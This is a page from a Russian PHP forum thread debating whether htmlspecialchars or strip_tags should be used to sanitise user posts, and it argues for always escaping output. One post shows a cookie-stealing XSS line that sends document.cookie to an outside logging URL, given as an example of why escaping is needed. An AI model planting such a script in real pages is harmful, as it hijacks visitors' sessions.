Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Текст без кода и htmlspecialchars [2]

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (4): « 1 [2] 3 4 »   

> Описание: Использование htmlspecialchars
Мелкий Супермодератор
Отправлено: 13 Июля, 2013 - 11:12:01
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




sadex пишет:
Случай 2 имеет место только на сайтах программистов

Цитата:
Рассмотрим неравенство
Если a+5<b, значит b-5>a

Только для программистов, да? А это была математика школьной программы, не знаю даже в каком классе.

htmlspecialchars должен быть всегда при выводе в HTML, кроме единственного случая, когда вы и хотите вывести HTML.


-----
PostgreSQL DBA
 
 Top
AlexAnder
Отправлено: 13 Июля, 2013 - 11:18:02
Post Id



Частый посетитель


Покинул форум
Сообщений всего: 915
Дата рег-ции: Авг. 2012  
Откуда: Россия


Помог: 34 раз(а)




Цитата:
это была математика школьной программы, не знаю даже в каком классе.

а еще
Комментарий Васи от 16:50 13.07.2013 пишет:
<script>location.href="http://vasya.ru/log_cookie_to_file.php?cookie="+document.cookie;</script>



Спойлер (Отобразить)


-----
Оказывается, недостаточно читать справочники, чтобы правильно писать коды. sadex ©

Форумы стали местом обучения программированию, а не решения трудных вопросов. KingStar ©
 
 Top
sadex
Отправлено: 13 Июля, 2013 - 12:42:16
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




Мелкий пишет:
А это была математика школьной программы
Расширим случай "для программистов" на + вывод математических формул. В любом случае, htmlspecialchars применяться не ко всей текстовой строке сообщения, к специально предназначенной для этого подстроке, ограниченной тегами <code></code>. И опять же в этом случае получается что htmlspecialchars - для вывода участков кода (управляющих символов html) в тексте, а не для фильтрации всего текста от XSS и прочих атак.

(Отредактировано автором: 13 Июля, 2013 - 12:50:25)

 
 Top
LIME
Отправлено: 13 Июля, 2013 - 12:53:42
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




и для фильтрации тоже применяется
эта возможность следует из действия ф-ции

почему-то мне кажется что тут как об стену
 
 Top
AlexAnder
Отправлено: 13 Июля, 2013 - 12:57:38
Post Id



Частый посетитель


Покинул форум
Сообщений всего: 915
Дата рег-ции: Авг. 2012  
Откуда: Россия


Помог: 34 раз(а)




LIME пишет:

почему-то мне кажется что тут как об стену

сектанты попова они такие


-----
Оказывается, недостаточно читать справочники, чтобы правильно писать коды. sadex ©

Форумы стали местом обучения программированию, а не решения трудных вопросов. KingStar ©
 
 Top
sadex
Отправлено: 13 Июля, 2013 - 13:05:05
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




AlexAnder пишет:
а еще<script>код js</script>
Для этого есть два подхода.
(1) Применение bb-кодов для разметки текста. При этом все сообщение юзера прогоняется через strip_tags, перед парсингом из bb в html. Опять же, htmlspecialchars здесь вроде и не нужен.

(2) Применение html-кодов для разметки текста. Не понимаю, как здесь htmlspecialchars может помочь для фильтрации XSS атак, если нужно сохранять разметку в html. Могут помочь серьезные html-фильтры, но там будет гораздо более серьезная и сложная фильтрация, чем htmlspecialchars.
(Добавление)
LIME пишет:
и для фильтрации тоже применяется эта возможность следует из действия ф-ции
Покажите конкретный случай, когда htmlspecialchars целесообразно применять именно для фильтрации, а не для отображения управляющих символов html.
 
 Top
LIME
Отправлено: 13 Июля, 2013 - 13:21:04
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




sadex пишет:
Расширим случай "для программистов" на + вывод математических формул.
любопытный подход
исключить ситуации когда применяется ф-ция и просить привести пример её применения
я фигею)))
а если сейчас кто- то кому не лень придумает текст сообщения мы и этот случай исключим?)))
 
 Top
esterio
Отправлено: 13 Июля, 2013 - 13:38:32
Post Id



Активный участник


Покинул форум
Сообщений всего: 5025
Дата рег-ции: Нояб. 2012  
Откуда: Украина, Львов


Помог: 127 раз(а)




Либо Вы просто хитите показать всем нсколько Вы круты и не смотрите что Вам пишут. Либо Вы полностю новичек и не понимаете о чем говорите. Думаю если просто взглянуть в документацию, то отпадут все вопросы. Всему свое место и назначения.
Например нужно показивать такое
Цитата:
<script>alert1(1);</script><b>SOME TEXT HERE</b>

Теперь определите где какая функцияя использована
Цитата:
&lt;script&gt;alert1(1);&lt;/script&gt;&lt;b&gt;SOME TEXT HERE&lt;/b&gt;

Цитата:
alert1(1);SOME TEXT HERE

Ну и напоследок
PHP:
скопировать код в буфер обмена
  1. $text = '<script>alert1(1);</script><b>SOME TEXT HERE</b>';
  2. var_dump(strip_tags($text, '<b>'));

выведет
Цитата:
alert1(1);<b>SOME TEXT HERE</b>
 
 Top
sadex
Отправлено: 13 Июля, 2013 - 13:48:45
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




LIME пишет:
любопытный подход исключить ситуации когда применяется ф-ция и просить привести пример её применения
Если Вы считаете, что описанные мною два случая исключают целесообразность применения htmlspecialchars, то Вы только подтверждаете то, что мною было сказано при описании этих случаев.
(Добавление)
esterio, давайте не будем рассматривать случаи, когда что-то нужно показать в браузере из кодов или формул, содержащих управляющие символы html. Представьте, что нужно показывать простые тексты, не содержащие этих символов. В этом случае покажите целесообразность применения htmlspecialchars именно для фильтрации.
 
 Top
LIME
Отправлено: 13 Июля, 2013 - 14:13:44
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




в старых версиях можно было относительно легко обмануть strip_tags
сейчас практически невозможно
я вообще не понимаю что тут столько обсуждать можно
 
 Top
sadex
Отправлено: 13 Июля, 2013 - 14:28:35
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




LIME пишет:
в старых версиях можно было относительно легко обмануть strip_tags сейчас практически невозможно
Для целей фильтрации при использовании bb-кодов strip_tags вещь сильная.
LIME пишет:
я вообще не понимаю что тут столько обсуждать можно
Когда для фильтрации целесообразно применять htmlspecialchars.
 
 Top
LIME
Отправлено: 13 Июля, 2013 - 14:44:55
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




никогда...
 
 Top
soffrick
Отправлено: 13 Июля, 2013 - 15:02:36
Post Id



Посетитель


Покинул форум
Сообщений всего: 379
Дата рег-ции: Май 2012  
Откуда: Россия, Москва


Помог: 17 раз(а)




sadex пишет:
LIME пишет:
в старых версиях можно было относительно легко обмануть strip_tags сейчас практически невозможно
Для целей фильтрации при использовании bb-кодов strip_tags вещь сильная.
LIME пишет:
я вообще не понимаю что тут столько обсуждать можно
Когда для фильтрации целесообразно применять htmlspecialchars.

тоесть хочешь узнать когда использовать strip_tags, а когда htmlspecialchars ?


-----
Правильный вопрос - уже половина правильного ответа!

p.s. индусы повсюду, будьте осторожны!
 
 Top
sadex
Отправлено: 13 Июля, 2013 - 15:42:34
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




soffrick пишет:
тоесть хочешь узнать когда использовать strip_tags, а когда htmlspecialchars ?
Хотя бы это.
 
 Top
Мелкий Супермодератор
Отправлено: 13 Июля, 2013 - 20:58:27
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




sadex пишет:
Представьте, что нужно показывать простые тексты, не содержащие этих символов.

Ну и на каком таком основании вы выкидываете даже те символы, что есть на клавиатуре?
Может, вы ещё из-за возможных проблем с кодировкой предложите вырезать все не-ASCII символы? Ну а что, кому они нужны, кроме пары тройки человек?

Представьте, что нам вообще не надо показывать сообщение. Зачем его тогда хранить? Никакого оверхеда!

Мы, как разработчики, обязаны бережно отнестись к введённому сообщению. Как это сделать безопасно для нас и пользователя - это, простите за вульгарность, наши половые трудности. Пользователь не должен помнить, что ему почему-то нельзя в textarea писать знак < или >, он должен иметь возможность его написать и увидеть впоследствии в своём сообщении.
Поэтому всегда замена на спецсущности.


-----
PostgreSQL DBA
 
 Top
Страниц (4): « 1 [2] 3 4 »
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Хранение данных, их вывод и обработка »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB